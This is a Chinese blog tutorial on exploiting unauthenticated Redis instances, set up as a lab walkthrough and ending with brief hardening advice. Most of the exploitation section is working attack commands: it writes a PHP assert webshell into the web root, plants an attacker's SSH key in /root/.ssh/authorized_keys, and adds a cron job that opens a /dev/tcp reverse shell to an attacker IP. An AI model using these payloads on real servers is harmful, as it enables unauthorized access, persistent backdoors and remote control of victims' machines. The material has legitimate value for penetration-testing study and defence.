zoukankan      html  css  js  c++  java
  • redis未授权反弹shell的三种方式

    一、介绍redis未授权访问

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

     

    二、漏洞产生条件

    1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
    (2)没有设置密码认证(默认为空),可以免密码远程登录redis服务。 
    (3)如果想高级利用,对方是以root身份启动的redis

     

    三、环境准备

    环境:Centos7、redis

    wget http://download.redis.io/releases/redis-4.0.8.tar.gz
    tar -zxvf redis-4.0.8.tar.gz
    yum install -y gcc
    cd redis-4.0.8 make MALLOC
    =libc cd src && make install

    配置redis.conf,把bind ip配置为0.0.0.0

    启动redis必须使用 root 权限启动,否则save时会报错

    启动redis
    sudo ./redis-server ../redis.conf

    kali linux 安装redis

    sudo apt-get instlal redis-tools -y

     

    四、利用过程

    redis-cli -h 192.168.110.133

    4.1. 数据泄露

    获取所有的key值 keys *

    keys *

    4.2. 系统信息泄露

    info 命令可以看到redis的版本、系统内核版本、配置文件路径等信息

    4.3.  写文件GetShell

    在Web目录中写入webshell


    前提条件:已知网站目录的绝对路径,并且具有读写权限

    getshell

    • 写入shell
    # 写入一个string内容
    set shell "<?php @assert($_POST[cc]);?>"
    
    # 设置备份目录
    
    config set dir /var/www/html/
    
    # 设置备份文件名
    
    config set dbfilename shell.php
    
    # 保存文件到本地
    
    save

    连接,没问题。

    4.4. 写入SSH公钥直接SSH连接

    要钱:

    • 本地生成公钥和私钥
    • 将公钥写入到目标的.ssh文件夹
    • ssh 连接

    kail攻击机默认不开ssh,没有.ssh目录,需要手动操作(配置sshd_config连接即可)。

    执行:ssh localhost  生成 .ssh 目录

    先切换为root用户,如果su验证失败,先passwd root给root设置一个密码

    执行:ssh localhost  生成 .ssh 目录
    验证下root的密码,当前目录就会有一个.ssh目录了(如果靶机也没有.ssh目录,同下操作方式。

    生成公钥跟私钥。

    ssh-keygen -t rsa  //执行生成key命令

    id_rsa  #私钥

    id_rsa.pub  #公钥

    切换shell工具去使用,查看下公钥内容,最后那一串用户名为root。

    # 备份文件目录设置为对应的 .ssh,一般默认为 /root/.ssh/
    config set dir /root/.ssh/
    
    config set dbfilename authorized_keys
    
    # 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合
    
    set key "\n\n\生成的公钥n\n"
    
    save

    接下来直接通过私钥去进行连接ssh,不需要验证密码。

    ssh -i id_rsa root@192.168.110.133

     连接上了,顺便执行了一个whoami,ifconfig。

    4.5. 写入计划任务(corntab)反弹shell

    执行命令

    和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test

    set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
    config set dir /var/spool/cron/ config set dbfilename root save

    过一会shell就弹过来了。

    高级利用:

    1、主从复制 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

    2、模块加载执行命令

    五、漏洞修复方式

    1. 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 1...
    2. 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"...
    3. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
    4. 修改Redis默认端口,将默认的6379端口修改为其他端口;
  • 相关阅读:
    PHP如何让apache支持.htaccess 解决Internal Server Error The server …错误
    PHP文件的上传下载
    Centos rsync文件同步配置
    Nginx负载均衡策略
    MongoDB 基本命令
    nginx keepalived 主从切换
    iptabels 的一些配置
    负载均衡 LVS+Keepalived
    FreeBSD 系统的配置.
    linux下利用curl监控web应用状态
  • 原文地址:https://www.cnblogs.com/miruier/p/14497405.html
Copyright © 2011-2022 走看看